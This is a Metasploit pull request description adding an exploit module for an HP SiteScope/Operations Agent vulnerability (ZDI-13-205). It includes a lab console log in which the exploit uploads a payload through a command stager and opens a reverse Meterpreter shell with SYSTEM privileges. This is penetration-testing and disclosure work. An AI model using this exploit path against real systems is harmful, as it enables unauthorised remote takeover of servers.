rapid7/metasploit-framework — pull request #2327 by jvazquez-r7 (2013-09-04 22:00:49+00:00)
Title: Exploit for ZDI-13-205

Tested successfully on HP SiteScope 11.20 with Operations Agent on Windows 2003 SP2.

Important: The vulnerable component is installed with Operations Agent (optional!) so it needs to be included! (Check the option while installing).

The vulnerable component is an script which is Windows specific and called from the Java Web Service. So as far as I can say it is windows specific. Did an HP Site Scope linux install but looks like the HP Operations isn't included with the installation packages (installation error). From the Java code, looks like it is prolly Windows specific (and yup, it isn't a vulnerability on the Java code really).

The exploit, in order to speed up (and work more reliable) is killing cscript processes on every command executed by the CMD Stager. Not a big deal, but the exploitation could kill legit cscript processes running on the target machine... so I've included it with ManualRanking. Let me know if you think another Ranking applies here.

Read source comment for some extra details :)

Test result:

```
msf exploit(hp_sitescope_runomagentcommand) > set RHOST 192.168.172.136
RHOST => 192.168.172.136
msf exploit(hp_sitescope_runomagentcommand) > check
[*] The target service is running, but could not be validated.
msf exploit(hp_sitescope_runomagentcommand) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.136:8080 - Delivering payload...
[*] Command Stager progress - 1.44% done (1499/103903 bytes)
[*] Command Stager progress - 2.89% done (2998/103903 bytes)
[*] Command Stager progress - 4.33% done (4497/103903 bytes)
[*] Command Stager progress - 5.77% done (5996/103903 bytes)
[*] Command Stager progress - 7.21% done (7495/103903 bytes)
[*] Command Stager progress - 8.66% done (8994/103903 bytes)
[*] Command Stager progress - 10.10% done (10493/103903 bytes)
[*] Command Stager progress - 11.54% done (11992/103903 bytes)
[*] Command Stager progress - 12.98% done (13491/103903 bytes)
[*] Command Stager progress - 14.43% done (14990/103903 bytes)
[*] Command Stager progress - 15.87% done (16489/103903 bytes)
[*] Command Stager progress - 17.31% done (17988/103903 bytes)
[*] Command Stager progress - 18.75% done (19487/103903 bytes)
[*] Command Stager progress - 20.20% done (20986/103903 bytes)
[*] Command Stager progress - 21.64% done (22485/103903 bytes)
[*] Command Stager progress - 23.08% done (23984/103903 bytes)
[*] Command Stager progress - 24.53% done (25483/103903 bytes)
[*] Command Stager progress - 25.97% done (26982/103903 bytes)
[*] Command Stager progress - 27.41% done (28481/103903 bytes)
[*] Command Stager progress - 28.85% done (29980/103903 bytes)
[*] Command Stager progress - 30.30% done (31479/103903 bytes)
[*] Command Stager progress - 31.74% done (32978/103903 bytes)
[*] Command Stager progress - 33.18% done (34477/103903 bytes)
[*] Command Stager progress - 34.62% done (35976/103903 bytes)
[*] Command Stager progress - 36.07% done (37475/103903 bytes)
[*] Command Stager progress - 37.51% done (38974/103903 bytes)
[*] Command Stager progress - 38.95% done (40473/103903 bytes)
[*] Command Stager progress - 40.40% done (41972/103903 bytes)
[*] Command Stager progress - 41.84% done (43471/103903 bytes)
[*] Command Stager progress - 43.28% done (44970/103903 bytes)
[*] Command Stager progress - 44.72% done (46469/103903 bytes)
[*] Command Stager progress - 46.17% done (47968/103903 bytes)
[*] Command Stager progress - 47.61% done (49467/103903 bytes)
[*] Command Stager progress - 49.05% done (50966/103903 bytes)
[*] Command Stager progress - 50.49% done (52465/103903 bytes)
[*] Command Stager progress - 51.94% done (53964/103903 bytes)
[*] Command Stager progress - 53.38% done (55463/103903 bytes)
[*] Command Stager progress - 54.82% done (56962/103903 bytes)
[*] Command Stager progress - 56.26% done (58461/103903 bytes)
[*] Command Stager progress - 57.71% done (59960/103903 bytes)
[*] Command Stager progress - 59.15% done (61459/103903 bytes)
[*] Command Stager progress - 60.59% done (62958/103903 bytes)
[*] Command Stager progress - 62.04% done (64457/103903 bytes)
[*] Command Stager progress - 63.48% done (65956/103903 bytes)
[*] Command Stager progress - 64.92% done (67455/103903 bytes)
[*] Command Stager progress - 66.36% done (68954/103903 bytes)
[*] Command Stager progress - 67.81% done (70453/103903 bytes)
[*] Command Stager progress - 69.25% done (71952/103903 bytes)
[*] Command Stager progress - 70.69% done (73451/103903 bytes)
[*] Command Stager progress - 72.13% done (74950/103903 bytes)
[*] Command Stager progress - 73.58% done (76449/103903 bytes)
[*] Command Stager progress - 75.02% done (77948/103903 bytes)
[*] Command Stager progress - 76.46% done (79447/103903 bytes)
[*] Command Stager progress - 77.91% done (80946/103903 bytes)
[*] Command Stager progress - 79.35% done (82445/103903 bytes)
[*] Command Stager progress - 80.79% done (83944/103903 bytes)
[*] Command Stager progress - 82.23% done (85443/103903 bytes)
[*] Command Stager progress - 83.68% done (86942/103903 bytes)
[*] Command Stager progress - 85.12% done (88441/103903 bytes)
[*] Command Stager progress - 86.56% done (89940/103903 bytes)
[*] Command Stager progress - 88.00% done (91439/103903 bytes)
[*] Command Stager progress - 89.45% done (92938/103903 bytes)
[*] Command Stager progress - 90.89% done (94437/103903 bytes)
[*] Command Stager progress - 92.33% done (95936/103903 bytes)
[*] Command Stager progress - 93.77% done (97435/103903 bytes)
[*] Command Stager progress - 95.22% done (98934/103903 bytes)
[*] Command Stager progress - 96.55% done (100320/103903 bytes)
[*] Command Stager progress - 97.98% done (101805/103903 bytes)
[*] Command Stager progress - 99.42% done (103296/103903 bytes)
[*] Sending stage (752128 bytes) to 192.168.172.136
[*] Command Stager progress - 100.00% done (103903/103903 bytes)
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.136:4775) at 2013-09-04 15:53:14 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : JUAN-6ED9DB6CA8
OS : Windows .NET Server (Build 3790, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter >
```